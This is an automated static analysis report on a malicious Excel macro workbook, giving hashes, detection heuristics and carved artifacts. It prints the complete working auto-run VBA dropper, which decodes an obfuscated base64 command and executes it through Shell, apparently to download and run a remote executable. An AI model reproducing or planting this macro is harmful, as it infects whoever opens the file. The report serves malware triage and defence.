Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 112d233f496968c4…

MALICIOUS

Office (OOXML) / .XLSM

161.0 KB Created: 2020-05-25 21:31:09 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: d20fda9c8bc195437036cb2fb26c1237 SHA-1: df528f8a2ce865390e59201fcaefe9ae7a80e2a4 SHA-256: 112d233f496968c4be0f386ce869a2cdc3b59939759b8ce8e0f485290ed4d49e
170 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (sadsad(asdas, True))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3168 bytes
SHA-256: bf101f4a460e0f88094545beeba2f06aa9d8e041ad66af788865939fd28bb32c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub Workbook_Open()
Dim asdas As String
asdas = sadsad("Y0FCdkFIY0FaUUJ5QUhNQWFBQmxBR3dBYkFBdUFHVUFlQUJsQUNBQUxRQmxBSGdBWlFCakFIVUFkQUJwQUc4QWJnQndBRzhBYkFCcEFHTUFlUUFnQUdJQWVRQndBR0VBY3dCekFDQUFMUUJYQUNBQVNBQnBBR1FBWkFCbEFHNEFJQUF0QUdNQWJ3QnRBRzBBWVFCdUFHUUFJQUFvQUc0QVpRQjNBQzBBYndCaUFHb0FaUUJqQUhRQUlBQlRBSGtBY3dCMEFHVUFiUUF1QUU0QVpRQjBBQzRBVndCbEFHSUFRd0JzQUdrQVpRQnVBSFFBS1FBdUFFUUFid0IzQUc0QWJBQnZBR0VBWkFCR0FHa0FiQUJsQUNnQUp3Qm9BSFFBZEFCd0FEb0FMd0F2QUhNQWRBQmhBR1lBWmdBdUFIY0Fkd0IzQUM0QWJBQjBBSFVBTGdCekFHVUFMd0IrQUdFQVpBQnZBSE1BYndCMEFDOEFNZ0EzQUdFQWN3QndBQzRBWlFCNEFHVUFKd0FzQUNRQVpRQnVBSFlBT2dCVUFHVUFiUUJ3QUNzQUp3QmNBRVlBYVFCc0FHVUFiZ0JoQUcwQVpRQXVBR1VBZUFCbEFDY0FLUUE3QUNnQVRnQmxBSGNBTFFCUEFHSUFhZ0JsQUdNQWRBQWdBQzBBWXdCdkFHMEFJQUJUQUdnQVpRQnNBR3dBTGdCQkFIQUFjQUJzQUdrQVl3QmhBSFFBYVFCdkFHNEFLUUF1QUZNQWFBQmxBR3dBYkFCRkFIZ0FaUUJqQUhVQWRBQmxBQ2dBSkFCbEFHNEFkZ0E2QUZRQVpRQnRBSEFBS3dBbkFGd0FSZ0JwQUd3QVpRQnVBR0VBYlFCbEFDNEFaUUI0QUdVQUp3QXBBQT09", False)
Shell (sadsad(asdas, True))
End Sub
Function sadsad(ByVal pLuEGMQpRwNxprEFNbQyckFWOtyIPpgnfojqfONEdEwglmGRFEgIaNW, ByVal fIsUtf16LE)
    Dim sTextEncoding
    If fIsUtf16LE Then sTextEncoding = "utf-16le" Else sTextEncoding = "utf-8"
    With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
        .DataType = "bin.base64"
        .Text = pLuEGMQpRwNxprEFNbQyckFWOtyIPpgnfojqfONEdEwglmGRFEgIaNW
        sadsad = QhlNGiaPorNAEeynDOqptpdwcXrLXEyTPniCWBOHQEguSoAzNqzAsCa(.NodeTypedValue, sTextEncoding)
    End With
End Function
Function EGXpNjHaxPaSBIOvyOLqXJuGxHBCgItimRzkIuUqVzUQKUFJMdDuOsz(ByVal sText, ByVal sTextEncoding, ByVal iBomByteCount)
    With CreateObject("ADODB.Stream")
        .Type = 2
        .Charset = sTextEncoding
        .Open
        .WriteText sText
        .Position = 0
        .Type = 1
        .Position = iBomByteCount
        EGXpNjHaxPaSBIOvyOLqXJuGxHBCgItimRzkIuUqVzUQKUFJMdDuOsz = .Read
        .Close
    End With
End Function
Function QhlNGiaPorNAEeynDOqptpdwcXrLXEyTPniCWBOHQEguSoAzNqzAsCa(ByVal byteArray, ByVal sTextEncoding)
    If LCase(sTextEncoding) = "utf-16le" Then
        QhlNGiaPorNAEeynDOqptpdwcXrLXEyTPniCWBOHQEguSoAzNqzAsCa = CStr(byteArray)
    Else
        With CreateObject("ADODB.Stream")
            .Type = 1
            .Open
            .Write byteArray
            .Position = 0
            .Type = 2
            .Charset = sTextEncoding
            QhlNGiaPorNAEeynDOqptpdwcXrLXEyTPniCWBOHQEguSoAzNqzAsCa = .ReadText
            .Close
        End With
    End If

End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: 8d1b7dd20ef773d2183337aaf7ed0c7c43a6cf4437067e3bfc6567cb71186c76
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).